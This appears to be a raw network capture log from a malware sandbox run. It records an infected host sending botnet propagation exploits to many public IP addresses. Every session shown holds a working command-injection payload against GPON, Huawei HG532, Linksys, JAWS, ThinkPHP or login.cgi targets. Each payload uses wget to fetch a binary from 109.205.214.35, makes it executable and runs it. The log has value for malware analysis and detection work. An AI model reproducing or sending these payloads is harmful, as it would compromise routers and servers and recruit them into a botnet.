Mar 21, 2024 05:18:12.225621939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
918	192.168.2.23	50580	212.219.179.234	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.408561945 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.087646961 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.254081964 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx/1.15.12 Date: Thu, 21 Mar 2024 04:18:13 GMT Content-Type: text/html Content-Length: 158 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 35 2e 31 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.15.12</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
919	192.168.2.23	38390	212.227.176.38	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.408889055 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.087956905 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.263670921 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:18:13 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
920	192.168.2.23	57530	156.77.139.242	37215

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.615550041 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
921	192.168.2.23	54460	95.181.232.3	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.835043907 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
922	192.168.2.23	55748	95.101.176.73	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.842334032 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.087157965 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:18:12 GMT Date: Thu, 21 Mar 2024 04:18:12 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 65 37 61 37 62 35 63 26 23 34 36 3b 31 37 31 30 39 39 34 36 39 32 26 23 34 36 3b 61 64 35 34 65 33 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.9e7a7b5c.1710994692.ad54e3a</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
923	192.168.2.23	56762	95.183.52.39	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.843400955 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.087409019 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:18:12 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
924	192.168.2.23	33636	95.100.148.229	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.850970030 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.087915897 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:18:12 GMT Date: Thu, 21 Mar 2024 04:18:12 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 37 61 35 37 31 64 34 26 23 34 36 3b 31 37 31 30 39 39 34 36 39 32 26 23 34 36 3b 31 30 65 61 63 63 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b7a571d4.1710994692.10eaccb</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
925	192.168.2.23	44478	95.47.117.92	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.904258013 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.116751909 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Thu, 21 Mar 2024 04:18:12 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.23	32806	95.86.122.241	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.904304981 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.23	36392	88.221.164.203	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.999196053 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.156028986 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Thu, 21 Mar 2024 04:18:13 GMT Date: Thu, 21 Mar 2024 04:18:13 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 39 62 31 31 37 30 32 26 23 34 36 3b 31 37 31 30 39 39 34 36 39 33 26 23 34 36 3b 34 32 32 66 36 32 30 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.19b11702.1710994693.422f620d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
928	192.168.2.23	57596	172.67.241.119	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:13.426220894 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:14.006896973 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:14.710946083 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
929	192.168.2.23	53682	112.197.252.229	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:13.448286057 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.805094004 CET	339	IN	HTTP/1.0 400 Bad Request Date: Thu, 21 Mar 2024 11:18:13 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
930	192.168.2.23	46650	189.82.180.234	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:13.799802065 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
931	192.168.2.23	52028	172.212.17.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:14.136502981 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:14.234903097 CET	471	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Date: Thu, 21 Mar 2024 04:18:14 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
932	192.168.2.23	33900	112.12.91.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:14.473153114 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:14.870990038 CET	479	IN	HTTP/1.1 400 Bad Request Server: kngx/1.10.2 Date: Thu, 21 Mar 2024 04:18:14 GMT Content-Type: text/html Content-Length: 172 Connection: close KS-Deny-Reason: client\|191.96.227.194\|cdnjhmp01-cache44.cdnjhmp01.ksyun.com\|proxy\|client-sent-HTTP/1.1-request-without-Host-header x-link-via: jhmp01:80; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 6e 67 78 2f 31 2e 31 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>kngx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
933	192.168.2.23	54004	191.61.71.168	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:14.659615040 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
